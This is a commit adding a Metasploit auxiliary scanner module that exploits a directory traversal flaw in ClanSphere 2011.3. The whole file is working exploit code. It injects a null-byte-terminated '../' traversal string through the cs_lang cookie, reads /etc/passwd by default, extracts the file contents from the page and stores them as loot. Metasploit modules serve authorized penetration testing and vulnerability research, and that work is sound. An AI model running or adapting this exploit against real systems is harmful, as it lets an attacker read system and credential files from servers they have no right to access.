Add OSVDB-86720 - Clansphere dir traversarl

Author: sinn3r

modules/auxiliary/scanner/http/clansphere_traversal.rb

@@ -0,0 +1,84 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
+			'Description'    => %q{
+				This module exploits a directory traversal flaw found in Clansphere 2011.3.
+				The application fails to handle the cs_lang parameter properly, which can be
+				used to read any file outside the virtual directory.
+			},
+			'References'     =>
+				[
+					['OSVDB', '86720'],
+					['EDB', '22181']
+				],
+			'Author'         =>
+				[
+					'blkhtc0rp',  #Original
+					'sinn3r'
+				],
+			'License'        => MSF_LICENSE,
+			'DisclosureDate' => "Oct 23 2012"
+		))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
+				OptString.new('FILE',      [true, 'The file to obtain', '/etc/passwd']),
+				OptInt.new('DEPTH',        [true, 'The max traversal depth to root directory', 10])
+			], self.class)
+	end
+
+
+	def run_host(ip)
+		base = target_uri.path
+		base << '/' if base[-1,1] != '/'
+
+		peer = "#{ip}:#{rport}"
+
+		print_status("#{peer} - Reading '#{datastore['FILE']}'")
+		traverse = "../" * datastore['DEPTH']
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "#{base}index.php",
+			'cookie' => "blah=blah; cs_lang=#{traverse}#{datastore['FILE']}%00.png"
+		})
+
+		if res and res.body =~ /^Fatal error\:/
+			print_error("Either '#{datastore['FILE']}' does not exist, or no permission.")
+
+		elsif res and res.code == 200
+			pattern_end = "     UTC +1 - Load:"
+			data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC.+/m).flatten[0].lstrip
+			fname = datastore['FILE']
+			p = store_loot(
+				'clansphere.cms',
+				'application/octet-stream',
+				ip,
+				data,
+				fname
+			)
+
+			vprint_line(data)
+			print_good("#{peer} - #{fname} stored as '#{p}'")
+
+		else
+			print_error("#{peer} - Fail to obtain file for some unknown reason")
+		end
+	end
+
+end